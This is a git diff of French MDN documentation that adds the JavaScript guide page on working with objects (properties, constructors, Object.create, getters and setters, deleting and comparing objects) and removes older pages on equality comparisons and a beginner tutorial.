-Promise.resolve().then(() => console.log(2)).then(() => console.log(3));
-console.log(1); // 1, 2, 3, 4
-
- -

Voir aussi

- - - -

{{PreviousNext("Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails", "Web/JavaScript/Guide/iterateurs_et_generateurs")}}

diff --git a/files/fr/web/javascript/guide/working_with_objects/index.html b/files/fr/web/javascript/guide/working_with_objects/index.html new file mode 100644 index 0000000000..3879fd0b58 --- /dev/null +++ b/files/fr/web/javascript/guide/working_with_objects/index.html @@ -0,0 +1,474 @@ +--- +title: Utiliser les objets +slug: Web/JavaScript/Guide/Utiliser_les_objets +tags: + - Débutant + - Guide + - JavaScript + - Object +translation_of: Web/JavaScript/Guide/Working_with_Objects +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Collections_avec_clés", "Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails")}}
+ +

JavaScript est conçu autour d'un paradigme simple, basé sur les objets. Un objet est un ensemble de propriétés et une propriété est une association entre un nom (aussi appelé clé) et une valeur. La valeur d'une propriété peut être une fonction, auquel cas la propriété peut être appelée « méthode ». En plus des objets natifs fournis par l'environnement, il est possible de construire ses propres objets. Ce chapitre aborde la manipulation d'objets, l'utilisation des propriétés, fonctions et méthodes, il explique également comment créer ses objets.

+ +

Un aperçu des objets

+ +

À l'instar de nombreux autres langages de programmation, on peut comparer les objets JavaScript aux objets du monde réel.

+ +

En JavaScript, un objet est une entité à part entière qui possède des propriétés. Si on effectue cette comparaison avec une tasse par exemple, on pourra dire qu'une tasse est un objet avec des propriétés. Ces propriétés pourront être la couleur, la forme, le poids, le matériau qui la constitue, etc. De la même façon, un objet JavaScript possède des propriétés, chacune définissant une caractéristique.

+ +

Les objets et les propriétés

+ +

Un objet JavaScript possède donc plusieurs propriétés qui lui sont associées. Une propriété peut être vue comme une variable attachée à l'objet. Les propriétés d'un objet sont des variables tout ce qu'il y a de plus classiques, exception faite qu'elle sont attachées à des objets. Les propriétés d'un objet représentent ses caractéristiques et on peut y accéder avec une notation utilisant le point « . », de la façon suivante :

+ +
nomObjet.nomPropriete
+
+ +

Comme pour les variables JavaScript en général, le nom de l'objet et le nom des propriétés sont sensibles à la casse (une lettre minuscule ne sera pas équivalente à une lettre majuscule). On peut définir une propriété en lui affectant une valeur. Ainsi, si on crée un objet maVoiture et qu'on lui donne les propriétés fabricant, modèle, et année :

+ +
var maVoiture = new Object();
+maVoiture.fabricant = "Ford";
+maVoiture.modèle = "Mustang";
+maVoiture.année = 1969;
+
+ +

Les propriétés d'un objet qui n'ont pas été affectées auront la valeur {{jsxref("undefined")}} (et non {{jsxref("null")}}).

+ +
maVoiture.sansPropriete; // undefined
+ +

On peut aussi définir ou accéder à des propriétés JavaScript en utilisant une notation avec les crochets (voir la page sur les accesseurs de propriétés pour plus de détails). Les objets sont parfois appelés « tableaux associatifs ». Cela peut se comprendre car chaque propriété est associée avec une chaîne de caractères qui permet d'y accéder. Ainsi, par exemple, on peut accéder aux propriétés de l'objet maVoiture de la façon suivante :

+ +
maVoiture["fabricant"] = "Ford";
+maVoiture["modèle"] = "Mustang";
+maVoiture["année"] = 1969;
+
+ +

Le nom d'une propriété d'un objet peut être n'importe quelle chaîne JavaScript valide (ou n'importe quelle valeur qui puisse être convertie en une chaîne de caractères), y compris la chaîne vide. Cependant, n'importe quel nom de propriété qui n'est pas un identifiant valide (par exemple si le nom d'une propriété contient un tiret, un espace ou débute par un chiffre) devra être utilisé avec la notation à crochets. Cette notation s'avère également utile quand les noms des propriétés sont déterminés de façon dynamique (c'est-à-dire qu'on ne sait pas le nom de la propriété avant l'exécution). Par exemple :

+ +
// on crée quatre variables avec une même instruction
+var monObj = new Object(),
+    str = "myString",
+    rand = Math.random(),
+    obj = new Object();
+
+monObj.type              = "Syntaxe point";
+monObj["date created"]   = "Chaîne avec un espace";
+monObj[str]              = "Une valeur qui est une chaîne";
+monObj[rand]             = "Nombre aléatoire";
+monObj[obj]              = "Objet";
+monObj[""]               = "Une chaîne vide";
+
+console.log(monObj);
+
+ +

On notera que les valeurs utilisées entre les crochets sont automatiquement converties en chaînes de caractères grâce à la méthode toString() sauf si ces valeurs sont des symboles (cf. {{jsxref("Symbol")}}). En effet, les noms des propriétés pour les objets JavaScript peuvent être des chaînes de caractères ou des symboles. Ainsi, dans l'exemple précédent, lorsqu'on ajoute la clé obj sur monObj, le moteur JavaScript appelle la méthode obj.toString() et utilise la chaîne de caractères renvoyée par cette méthode comme nom pour la propriété.

+ +

On peut également accéder aux propriétés d'un objet en utilisant une valeur qui est une chaîne de caractères enregistrée dans une variable :

+ +
var nomPropriété = "fabricant";
+maVoiture[nomPropriété] = "Ford";
+
+nomPropriété = "modèle";
+maVoiture[nomPropriété] = "Mustang";
+
+ +

La notation avec les crochets peut être utilisée dans une boucle for...in afin de parcourir les propriétés énumérables d'un objet. Pour illustrer comment cela fonctionne, on définit la fonction suivante qui affiche les propriétés d'un objet qu'on lui a passé en argument avec le nom associé :

+ +
function afficherProps(obj, nomObjet) {
+  var resultat = "";
+  for (var i in obj) {
+    if (obj.hasOwnProperty(i)) {
+        resultat += nomObjet + "." + i + " = " + obj[i] + "\n";
+    }
+  }
+  return resultat;
+}
+
+ +

Si on appelle la fonction avec afficherProps(maVoiture, "maVoiture"), cela affichera le contenu suivant dans la console :

+ +
maVoiture.fabricant = Ford
+maVoiture.modèle = Mustang
+maVoiture.année = 1969
+ +

Parcourir les propriétés d'un objet

+ +

À partir d'ECMAScript 5, il existe trois méthodes natives pour lister/parcourir les propriétés d'un objet :

+ +
    +
  • Les boucles for...in qui permettent de parcourir l'ensemble des propriétés énumérables d'un objet et de sa chaîne de prototypes.
    • +
  • {{jsxref("Object.keys", "Object.keys(o)")}} qui permet de renvoyer un tableau contenant les noms (clés ou keys) des propriétés propres (celles qui ne sont pas héritées via la chaîne de prototypes) d'un objet o pour les propriétés énumérables.
    • +
  • {{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(o)")}} qui permet de renvoyer un tableau contenant les noms des propriétés propres (énumérables ou non) d'un objet o.
    • +
+ +

Avant ECMAScript 5, il n'existait aucune méthode native pour lister l'ensemble des propriétés d'un objet. Cependant, on pouvait utiliser le code suivant pour y parvenir :

+ +
function listerToutesLesPropriétés(o){
+  var objectToInspect;
+  var result = [];
+
+  for(objectToInspect = o;
+      objectToInspect !== null;
+      objectToInspect = Object.getPrototypeOf(objectToInspect)){
+    result = result.concat(Object.getOwnPropertyNames(objectToInspect));
+  }
+  return result;
+}
+
+ +

Cela peut être utile pour révéler les propriétés « cachées » car leur nom est réutilisé dans la chaîne de prototypes. Pour lister les propriétés accessibles, il suffit de retirer les duplicatas du tableau.

+ +

Créer de nouveaux objets

+ +

Un environnement JavaScript possède certains objets natifs prédéfinis. En plus de ces objets, il est possible de créer ses propres objets. Pour cela, on peut utiliser un initialisateur d'objet. On peut aussi créer un constructeur puis instancier un objet avec cette fonction en utilisant l'opérateur new.

+ +

Utiliser les initialisateurs d'objets

+ +

On peut créer des objets avec une fonction qui est un constructeur mais on peut aussi créer des objets avec des initialisateurs d'objets. On appelle parfois cette syntaxe la notation littérale.

+ +

La syntaxe utilisée avec les initialisateurs d'objets est la suivante :

+ +
var obj = { propriete_1:   valeur_1,   // propriete_# peut être un identifiant
+            2:             valeur_2,   // ou un nombre
+            // ...,
+            "propriete n": valeur_n }; // ou une chaîne
+
+ +

où on a obj le nom de l'objet qu'on souhaite créer et chaque propriété_i un identifiant (que ce soit un nom, un nombre ou une chaîne de caractères) et chaque valeur_i une expression dont la valeur sera affectée à la propriété propriété_i. S'il n'est pas nécessaire d'utiliser l'objet obj par la suite, il n'est pas nécessaire de réaliser l'affectation à une variable (attention alors à l'encadrer dans des parenthèses pour que le littéral objet soit bien interprété comme une instruction et non pas comme un bloc.)

+ +

Les initialisateurs d'objets sont des expressions et chaque initialisateur entraîne la création d'un nouvel objet dans l'instruction pour laquelle il est exécuté. Des initialisateurs d'objets identiques créeront des objets distincts qui ne seront pas équivalents. Les objets sont créés de la même façon qu'avec new Object(), les objets créés à partir d'une expression littérale seront des instances d'Object.

+ +

L'instruction suivante crée un objet et l'affecte à une variable x si et seulement si l'expression cond est vraie :

+ +
if (cond) var x = {emplacement: "le monde"};
+
+ +

Dans l'exemple suivant, on crée un objet maHonda avec trois propriétés. La propriété moteur est également un objet avec ses propres propriétés.

+ +
var maHonda = {couleur: "rouge", roue: 4, moteur: {cylindres: 4, taille: 2.2}};
+
+ +

De la même façon, on pourra utiliser des initialisateurs pour créer des tableaux. Pour plus d'informations à ce sujet, voir les littéraux de tableaux.

+ +

Utiliser les constructeurs

+ +

On peut créer des objets d'une autre façon, en suivant deux étapes :

+ +
    +
  1. On définit une fonction qui sera un constructeur définissant le type de l'objet. La convention, pour nommer les constructeurs, est d'utiliser une majuscule comme première lettre pour l'identifiant de la fonction.
    2. +
  2. On crée une instance de l'objet avec new.
    3. +
+ +

Pour définir le type d'un objet, on crée une fonction qui définit le nom de ce type et les propriétés et méthodes des instances. Ainsi, si on souhaite créer un type d'objet pour représenter des voitures, on pourra nommer ce type voiture, et il pourra avoir des propriétés pour le fabricant, le modèle et l'année. Pour ce faire, on pourra écrire la fonction suivante :

+ +
function Voiture(fabricant, modèle, année) {
+  this.fabricant = fabricant;
+  this.modele = modele;
+  this.annee = annee;
+}
+
+ +

On voit ici qu'on utilise le mot-clé this pour affecter des valeurs aux propriétés d'un objet en fonction des valeurs passées en arguments de la fonction.

+ +

On peut désormais créer un objet maVoiture de la façon suivante :

+ +
var maVoiture = new Voiture("Eagle", "Talon TSi", 1993);
+
+ +

Cette instruction crée un objet maVoiture et lui affecte les valeurs fournies pour ses propriétés. On obtient donc maVoiture.fabricant qui sera la chaîne de caractères "Eagle", maVoiture.année qui sera l'entier 1993, et ainsi de suite.

+ +

Grâce à ce constructeur, on peut ensuite créer autant d'objets voiture que nécessaire. Par exemple :

+ +
var voitureMorgan = new Voiture("Audi", "A3", 2005);
+var voitureMax = new Voiture("Mazda", "Miata", 1990);
+
+ +

Un objet peut avoir une propriété qui est elle-même un objet. Ainsi, si on définit un type d'objet personne de cette façon :

+ +
function Personne(nom, âge, sexe) {
+  this.nom = nom;
+  this.age = age;
+  this.sexe = sexe;
+}
+
+ +

et qu'on instancie deux nouveaux objets personne avec

+ +
var max = new Personne("Max Gun", 33, "M");
+var morguy = new Personne("Morgan Sousbrouille", 39, "M");
+
+ +

On pourra réécrire la fonction de définition pour le type voiture pour inclure une propriété propriétaire qui est représentée par un objet personne :

+ +
function Voiture(fabricant, modèle, année, propriétaire) {
+  this.fabricant = fabricant;
+  this.modele = modele;
+  this.annee = annee;
+  this.propriétaire = propriétaire;
+}
+
+ +

Pour instancier des nouveaux objets, on pourra donc utiliser :

+ +
var voiture1 = new Voiture("Mazda", "Miata", 1993, max);
+var voiture2 = new Voiture("Audi", "A3", 2005, morguy);
+
+ +

On notera que le dernier argument n'est pas une chaîne de caractères ou une valeur numérique mais bien un objet. Les objets max et morguy sont passés en arguments pour représenter les propriétaires. Ainsi, si on veut obtenir le nom du propriétaire pour voiture2, on peut accéder à la propriété de la façon suivante :

+ +
voiture2.propriétaire.nom
+
+ +

Il est toujours possible d'ajouter une propriété à un objet défini précédemment. Par exemple, on peut ajouter une propriété à l'objet voiture1 avec l'instruction :

+ +
voiture1.couleur = "noir";
+
+ +

Ici, on ajoute une propriété couleur à voiture1, et on lui affecte une valeur "noir". Cependant, cela n'affecte pas les autres objets voiture. Pour ajouter une nouvelle propriété à tous les objets, il faudra ajouter la propriété au constructeur voiture.

+ +

Utiliser la méthode Object.create()

+ +

Les objets peuvent également être créés en utilisant la méthode {{jsxref("Object.create()")}}. Cette méthode peut s'avérer très utile car elle permet de choisir le prototype pour l'objet qu'on souhaite créer, sans avoir à définir un constructeur.

+ +
// Propriétés pour animal et encapsulation des méthodes
+var Animal = {
+  type: "Invertébrés",        // Valeur par défaut  value of properties
+  afficherType : function() {  // Une méthode pour afficher le type Animal
+    console.log(this.type);
+  }
+}
+
+// On crée un nouveau type d'animal, animal1
+var animal1 = Object.create(Animal);
+animal1.afficherType(); // affichera Invertébrés
+
+// On crée un type d'animal "Poisson"
+var poisson = Object.create(Animal);
+poisson.type = "Poisson";
+poisson.afficherType(); // affichera Poisson
+ +

L'héritage

+ +

Tous les objets JavaScript héritent d'un autre objet. L'objet dont on hérite est appelé prototype et les propriétés héritées peuvent être accédées via l'objet prototype du constructeur. Pour plus d'informations sur le fonctionnement de l'héritage, voir la page sur l'héritage et la chaîne de prototypes.

+ +

Indexer les propriétés d'un objet

+ +

Il est possible d'accéder à une propriété via son nom et via son indice (ordinal). Si on définit une propriété grâce à un nom, on accédera toujours à la valeur via le nom. De même, si on définit une propriété grâce à un indice, on y accèdera toujours via son indice.

+ +

Cette restriction s'applique lorsqu'on crée un objet et ses propriétés via un constructeur et lorsqu'on déclare les propriétés explicitement (par exemple avec maVoiture.couleur = "rouge"). Si on définit une propriété d'un objet avec maVoiture[5] = "25 kmh", on pourra faire référence à cette propriété grâce à maVoiture[5].

+ +

Il existe une exception à cette règle lorsqu'on manipule des objets "semblables à des tableaux" provenant d'API Web telles que l'objet forms. Pour ces objets semblables à des tableaux, on peut accéder à une propriété de l'objet grâce à son nom (si l'attribut {{htmlattrxref("name")}} est utilisé sur l'élément HTML) ou grâce à son index selon l'ordre dans le document. Ainsi, si on souhaite cibler un élément <form> du document possédant un attribut name qui vaut monForm et que cet élément est le deuxième élément du document, on pourra y accéder avec document.forms[1], document.forms["monForm"] ou encore avec document.forms.monForm.

+ +

Définir des propriétés pour un type d'objet

+ +

On peut ajouter une propriété à un type précédemment défini en utilisant la propriété prototype. Cela permettra de définir une propriété qui sera partagée par tous les objets d'un même type plutôt qu'elle ne soit définie que pour un seul objet. Le code suivant permet d'ajouter une propriété couleur à tous les objets de type voiture. On affecte ensuite une valeur à cette propriété pour l'objet voiture1.

+ +
Voiture.prototype.couleur = null;
+voiture1.couleur = "noir";
+
+ +

Pour plus d'informations, voir l'article sur la propriété prototype de l'objet Function de la référence JavaScript.

+ +

Définir des méthodes

+ +

Une méthode est une fonction associée à un objet. Autrement dit, une méthode est une propriété d'un objet qui est une fonction. Les méthodes sont définies comme des fonctions normales et sont affectées à des propriétés d'un objet. Voir la page sur les définitions de méthodes pour plus d'informations. Par exemple :

+ +
nomObjet.nomMéthode = nomFonction;
+
+var monObj = {
+  maMéthode: function(params) {
+    // ...faire quelque chose
+  }
+};
+
+ +

avec nomObjet qui est un objet existant, nomMéthode est le nom de la propriété à laquelle on souhaite affecter la méthode et nomFonction le nom de la fonction.

+ +

On peut ensuite appeler la méthode sur l'objet :

+ +
object.nomMéthode(paramètres);
+
+ +

On peut définir des méthodes pour un type d'objet en incluant la définition de la méthode dans le constructeur. Par exemple, on peut définir une fonction qui mettrait en forme et qui afficherait les propriétés d'un objet voiture. Par exemple :

+ +
function afficheVoiture() {
+  var résultat = "Une " + this.fabricant + " " + this.modèle
+    + " de cette année " + this.année;
+  console.log(résultat);
+}
+
+ +

On peut ensuite ajouter cette fonction comme méthode dans le constructeur avec cette instruction :

+ +
this.afficheVoiture = afficheVoiture;
+
+ +

La définition complète serait donc :

+ +
function Voiture(fabricant, modèle, année, propriétaire) {
+  this.fabricant = fabricant;
+  this.modèle = modèle;
+  this.année = année;
+  this.propriétaire = propriétaire;
+  this.afficheVoiture = afficheVoiture;
+}
+
+ +

On pourra donc ensuite appeler la méthode afficheVoiture pour chaque objet de ce type :

+ +
voiture1.afficheVoiture();
+voiture2.afficheVoiture();
+
+ +

Utiliser this

+ +

JavaScript possède un mot-clé spécial this, qui peut être utiliser à l'intérieur d'une méthode pour faire référence à l'objet courant. Par exemple, si on a une fonction valider qui permet de valider la propriété valeur d'un objet en fonction d'un seuil minimum et d'un seuil maximum :

+ +
function valider(obj, seuilMin, seuilMax) {
+  if ((obj.value < seuilMin) || (obj.value > seuilMax))
+    console.log("Valeur invalide !");
+}
+
+ +

Cette fonction pourrait ensuite être appelée via le gestionnaire d'événement onchange pour les éléments d'un formulaire et la valeur pour l'élément du formulaire serait passée en argument :

+ +
<input type="text" name="âge" size="3"
+  onchange="valider(this, 18, 99)">
+ +

En général, this fait référence à l'objet appelant de la méthode.

+ +

Définir des accesseurs et des mutateurs (getters et setters)

+ +

Un accesseur (getter) est une méthode qui permet de récupérer la valeur d'une propriété donnée. Un mutateur (setter) est une méthode qui permet de définir la valeur d'une propriété donnée. Il est possible de définir des accesseurs et des mutateurs sur chaque objet (qu'il soit natif ou défini par l'utilisateur) qui supporte l'ajout de nouvelles propriétés. La syntaxe pour définir les accesseurs et mutateurs utilise les littéraux objets.

+ +

Dans l'exemple suivant, on ajoute des accesseurs et mutateurs à un objet existant o.

+ +
var o = {
+  a: 7,
+  get b() {
+    return this.a + 1;
+  },
+  set c(x) {
+    this.a = x / 2
+  }
+};
+
+console.log(o.a); // 7
+console.log(o.b); // 8
+o.c = 50;
+console.log(o.a); // 25
+
+ +

Les propriétés de l'objet o sont :

+ +
    +
  • o.a — un nombre
    • +
  • o.b — un accesseur qui renvoie la valeur de o.a plus 1
    • +
  • o.c — un mutateur qui définit la valeur de o.a avec la moitié de la valeur passée pour o.c
    • +
+ +

Pour utiliser une fonction déjà existante et la définir comme accesseur ou mutateur d'un objet, on pourra utiliser la méthode Object.defineProperty() (ou l'ancienne méthode Object.prototype.__defineGetter__).

+ +

Le code suivant illustre comment étendre le prototype {{jsxref("Date")}} avec des accesseurs et mutateurs afin d'ajouter une propriété année pour toutes les instances du type Date. Pour cela, on utilise les méthodes de Date getFullYear et setFullYear :

+ +
var d = Date.prototype;
+Object.defineProperty(d, "année", {
+  get: function() { return this.getFullYear() },
+  set: function(y) { this.setFullYear(y) }
+});
+
+ +

Ces instructions utilisent l'accesseur et le mutateur pour un objet Date :

+ +
var ajd = new Date();
+console.log(ajd.année); // 2000
+ajd.année = 2001; // 987617605170
+console.log(ajd);
+// Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001
+
+ +

En général, les accesseurs et mutateurs peuvent être :

+ +
    +
  • définis en utilisant les initialisateurs d'objet
    • +
  • ajoutés par la suite avec une méthode pour ajouter un mutateur ou un accesseur.
    • +
+ +

Lorsqu'on définit des accesseurs et des mutateurs avec des littéraux objets, il suffit de préfixer un accesseur par get et un mutateur par set. Bien entendu, la méthode pour l'accesseur nécessite aucun paramètre et le mutateur attend exactement un paramètre (la nouvelle valeur à définir). Par exemple :

+ +
var o = {
+  a: 7,
+  get b() { return this.a + 1; },
+  set c(x) { this.a = x / 2; }
+};
+
+ +

On peut aussi ajouter des accesseurs et des mutateurs par la suite (après la création de l'objet) avec la méthode Object.defineProperties. Le premier argument de cette méthode est l'objet sur lequel on souhaite ajouter des propriétés. Le second argument est un objet qui représente les propriétés à ajouter (ici les mutateurs et accesseurs). Voici un exemple pour lequel on définit les mêmes accesseurs et mutateurs que précédemment :

+ +
var o = { a:0 }
+
+Object.defineProperties(o, {
+    "b": { get: function () { return this.a + 1; } },
+    "c": { set: function (x) { this.a = x / 2; } }
+});
+
+o.c = 10 // Lance le mutateur qui affecte 10 / 2 (5) à 'a'
+console.log(o.b) // Lance l'accesseur qui affiche a + 1 donc 6
+
+ +

Selon le résultat qu'on souhaite obtenir, on utilisera l'une des deux formes. Si on connait bien la structure de l'objet lorsqu'on le définit, on les ajoutera au constructeur. Si on utilise des éléments dynamiques et que la structure de l'objet évolue, on utilisera la deuxième façon.

+ +

Supprimer des propriétés

+ +

Il est possible de retirer des propriétés propres (celles qui ne sont pas héritées) grâce à l'opérateur delete. Le code suivant montre comment retirer une propriété :

+ +
// On crée un nouvel objet, monObj, avec deux propriétés a et b.
+var monObj = new Object;
+monObj.a = 5;
+monObj.b = 12;
+
+// On retire la propriété a, monObj a donc uniquement la propriété b
+delete monObj.a;
+console.log("a" in monObj) // produit "false"
+
+ +

Il est aussi possible de supprimer une propriété de l'objet global avec delete si le mot-clé var n'avait pas été utilisé :

+ +
g = 17;
+delete g;
+
+ +

Comparer des objets

+ +

En JavaScript, les objets fonctionnent par référence. Deux objets distincts ne sont jamais égaux, même s'ils ont les mêmes valeurs pour les mêmes propriétés. On aura une équivalence uniquement si on compare un objet avec lui-même.

+ +
// Deux variables avec deux objets distincts qui ont les mêmes propriétés
+var fruit = {nom: "pomme"};
+var fruit2 = {nom: "pomme"};
+
+fruit == fruit2  // return false
+fruit === fruit2 // return false
+ +
// Deux variables avec un même objet
+var fruit = {nom: "pomme"};
+var fruit2 = fruit;  // On affecte la même référence
+
+// dans ce cas fruit et fruit2 pointent vers le même objet
+fruit == fruit2  // return true
+fruit === fruit2 // return true
+
+fruit.nom = "raisin";
+console.log(fruit2); // affiche {nom: "raisin"} et non {nom: "pomme"}
+
+ +

Pour plus d'informations sur les opérateurs de comparaisons, voir cet article.

+ +

Voir aussi

+ + + +

{{PreviousNext("Web/JavaScript/Guide/Collections_avec_clés", "Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails")}}

diff --git "a/files/fr/web/javascript/guide/\303\251galit\303\251_en_javascript/index.html" "b/files/fr/web/javascript/guide/\303\251galit\303\251_en_javascript/index.html" deleted file mode 100644 index 7a6c3c3ac8..0000000000 --- "a/files/fr/web/javascript/guide/\303\251galit\303\251_en_javascript/index.html" +++ /dev/null @@ -1,265 +0,0 @@ ---- -title: L'égalité en JavaScript -slug: Web/JavaScript/Guide/Égalité_en_JavaScript -tags: - - Advanced - - Guide - - JavaScript - - Operators -translation_of: Web/JavaScript/Equality_comparisons_and_sameness -translation_of_original: Web/JavaScript/Guide/Sameness ---- -

{{jsSidebar("JavaScript Guide")}}

-

EcmaScript6 possède trois outils pour déterminer si deux valeurs x et y sont « égales ».  Il y a l'égalité simple (deux signes égal) (==), l'égalité stricte (trois signes égal) (===), et la méthode Object.is. (Cette méthode a été ajoutée avec ES6. Les opérateurs d'égalité simple et stricte étaient présents en JavaScript avant ES6 et ont conservé leur comportement.)

-

Un aperçu

-

Voici comment utiliser chacun de ces outils de comparaisons :

-
x == y
-
x === y
-
Object.is(x, y)
-

En résumé : l'opérateur d'égalité simple effectuera une conversion de type entre les objets comparés, l'opérateur d'égalité stricte n'effectuera pas de conversion avant de comparer les objets (false est renvoyé automatiquement si les types sont différents), enfin Object.is se comportera de la même façon que l'opérateur d'égalité stricte avec des règles supplémentaires pour les valeurs NaN, -0 et +0. Object.is(-0, +0) ne sera pas vérifié et Object.is(NaN, NaN) sera vrai. (Généralement, quand on compare NaN et NaN, on obtient le résultat false car la norme IEEE 754 indique que ce comportement est celui attendu pour l'égalité simple ou stricte.)

-

Cette égalité ne s'applique qu'aux types de données primitifs, aucune des méthodes présentées ci-avant ne permet de comparer la structure de deux objets. Si deux objets x et y possèdent la même structure mais que ce sont des objets distincts, chacune de ces méthodes renverra le résultat false.

-

Ainsi :

-
let x = { valeur: 17 };
-let y = { valeur: 17 };
-console.log(Object.is(x, y)); // false;
-console.log(x === y);         // false
-console.log(x == y);          // false
-

Les égalités simples, strictes et les valeurs identiques

-

Les comparaisons effectuées par les opérateurs d'égalité simple et d'égalité stricte sont décrites par EcmaScript5 : l'algorithme de l'opérateur == est décrit dans la section 11.9.3 (en anglais) et l'algorithme de l'opérateur === est décrit dans la section 11.9.6 (en anglais). Ces deux algorithmes sont expliqués de façon simple et concise, il est préferable de lire le deuxième algorithme avant le premier. ES5 décrit également l'algorithme utilisé en interne par le moteur JavaScript : section 9.12, The SameValue Algorithm (en anglais). Ce dernier algorithme est très proche de celui utilisé pour l'égalité stricte, ils différent de par leurs gestions différentes des nombres représentés sous forme d'objets Number. Object.is n'est que la retranscription de cet algorithme, utilisable depuis ES6.

-

Excepté pour la conversion implicite, on peut voir que, pour les opérateurs d'égalité simple et stricte, l'algorithme d'égalité stricte est un sous-ensemble de l'égalité simple car 11.9.6.2-7 correspond à 11.9.3.1.a-f.

-

Comprendre le sens des différentes égalités

-

Avant ES6, on pouvait penser que l'égalité stricte était une version « améliorée » de l'égalité simple, ou vice-versa. Par exemple, dans certains cas, on peut trouver que l'égalité simple est plus souple que l'égalité stricte car elle effectue une conversion des types (ce qui permet de vérifier 6 == "6"). Au contraire, on peut trouver que l'égalité stricte est « meilleure » que l'égalité simple car il est nécessaire que les deux opérandes soient du même type. L'utilité de chaque opérateur dépend du cadre dans lequel on l'utilise.

-

Object.is, en revanche, n'est pas plus souple ou plus stricte que ces égalités. Il n'est pas non plus un « intermédiaire » entre ces deux opérateurs. Object.is diffère dans sa façon de gérer la valeur numérique spéciale NaN. D'une certaine façon, Object.is se différencie en fonction de ses caractéristiques spéciales sur NaN et -0 et +0.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Opérateurs d'égalité
xy=====Object.is
undefinedundefinedtruetruetrue
nullnulltruetruetrue
truetruetruetruetrue
falsefalsetruetruetrue
"toto""toto"truetruetrue
{ toto: "truc" }xtruetruetrue
00truetruetrue
+0-0truetruefalse
0falsetruefalsefalse
""falsetruefalsefalse
""0truefalsefalse
"0"0truefalsefalse
"17"17truefalsefalse
new String("toto")"toto"truefalsefalse
nullundefinedtruefalsefalse
nullfalsefalsefalsefalse
undefinedfalsefalsefalsefalse
{ toto: "truc" }{ toto: "truc" }falsefalsefalse
new String("toto")new String("toto")falsefalsefalse
0nullfalsefalsefalse
0NaNfalsefalsefalse
"toto"NaNfalsefalsefalse
NaNNaNfalsefalsetrue
-

Dans quels cas utiliser Object.is ou l'opérateur d'égalité stricte

-

En dehors du traîtement effectué pour NaN, Object.is s'avère utile lorsqu'on manipule des valeurs très proches de 0 (parfois utilisées pour la métaprogrammation et notamment pour les descripteurs de propriétés et qu'on souhaite reproduire certaines caractéristiques de Object.defineProperty). Si on n'a pas ce cas de figure à gérer, il est conseillé d'utiliser ===. Même dans l'éventualité où on devrait gérer une comparaison entre deux valeurs NaN il est souvent plus facile de traiter le cas particulier en utilisant la fonction isNaN présente dans les anciennes versions d'ECMAScript.

-

Voici une liste (non exhaustive) des méthodes et opérateurs qui pourraient entraîner une apparition des valeurs -0 et +0 :

-
-
- - (négation unaire)
-
-
-
-

Il peut sembler évident que l'opposé de 0 est -0 mais lorsque que cette opération est réalisée dans une expression, il est plus facile d'identifier la transformation qui s'est effectuée. Par exemple :

- 
let forceFrottement = obj.masse * -obj.vitesse
-

Si obj.vitesse vaut 0, on aura -0 comme résultat du calcul, et c'est cette valeur qui sera assignée à forceFrottement

-
-
-
-
- Math.atan2
-
- Math.ceil
-
- Math.pow
-
- Math.round
-
-
-
- La valeur -0 peut être produite par ces méthodes (et donc introduite dans une expression qui les comportent), même dans le cas où -0 n'est pas un argument. Par exemple, si on utilise Math.pow pour calculer -Infinity à une puissance entière impaire et négative, on obtiendra -0. Voir les différentes pages sur ces méthodes pour plus d'informations.
-
-
-
- Math.floor
-
- Math.max
-
- Math.min
-
- Math.sin
-
- Math.sqrt
-
- Math.tan
-
-
-
- Ces méthodes peuvent produire la valeur -0 si c'est un des paramètres de la fonction. Par exemple, Math.min(-0, +0) vaudra -0. Voir les différentes pages sur ces méthodes pour plus d'informations.
-
-
-
- ~
-
- <<
-
- >>
-
- Chacun de ces opérateurs utilise l'algorithme ToInt32. Or, il n'y a qu'une seule représentation possible pour 0 sous forme d'un entier sur 32 bits, c'est pourquoi -0 ne pourra pas être « conservé » par une combinaison de ces opérations (même si cette combinaison est équivalente, logiquement, à une identité). Par exemple Object.is(~~(-0), -0) et Object.is(-0 << 2 >> 2, -0) produiront la valeur false.
-
-

Il peut être dangereux d'utiliser Object.is quand on ne souhaite pas différencier les deux valeurs -0 et +0. En revanche, si on souhaite distinguer ces deux valeurs, cette fonction est idéale.

diff --git a/files/fr/web/javascript/guide_de_demarrage/index.html b/files/fr/web/javascript/guide_de_demarrage/index.html deleted file mode 100644 index c95ba3d3a2..0000000000 --- a/files/fr/web/javascript/guide_de_demarrage/index.html +++ /dev/null @@ -1,338 +0,0 @@ ---- -title: Tutoriel pour débuter en JavaScript -slug: Web/JavaScript/guide_de_demarrage -tags: - - Beginner - - JavaScript - - NeedsBeginnerUpdate - - Tutorial -translation_of: Learn/Getting_started_with_the_web/JavaScript_basics -translation_of_original: Web/JavaScript/Getting_Started ---- -

Pourquoi JavaScript ?

-

JavaScript est un langage de programmation puissant, complexe et trop souvent mal compris. Il permet le développement rapide d'applications avec lesquelles l'utilisateur va pouvoir intéragir pour saisir des données et observer le résultat de leur traitement.

-

L'avantage premier de JavaScript, dont le standard correspondant est connu sous l'appellation ECMAScript, est qu'il est centré sur le navigateur web, aussi il produira un résultat similaire sur toutes les plateformes supportées par le navigateur. Les exemples sur cette page, tout comme Google Maps, fonctionnent sur Linux, OS X and Windows. Avec le nombre toujours grandissant de bibliothèques JavaScript, il est de plus en plus facile de naviguer dans le document, sélectionner des éléments du DOM, créer des animations, gérer les évènements, et développer des applications AJAX. Contrairement à l'hyper médiatisation d'autres technologies promues par divers intérêts propriétaires, JavaScript est réellement le seul langage multi-plateformes côté client qui est à la fois gratuit et universellement adopté.

-

Ce que vous devriez déjà savoir

-

JavaScript est un langage très facile d'accès. Tout ce dont vous avez besoin pour commencer est d'un éditeur de texte et d'un navigateur web.

-

Bon nombre d'autres technologies allant au delà de la portée de ce document peuvent êtres intégrées et développées dans la continuité de JavaScript.
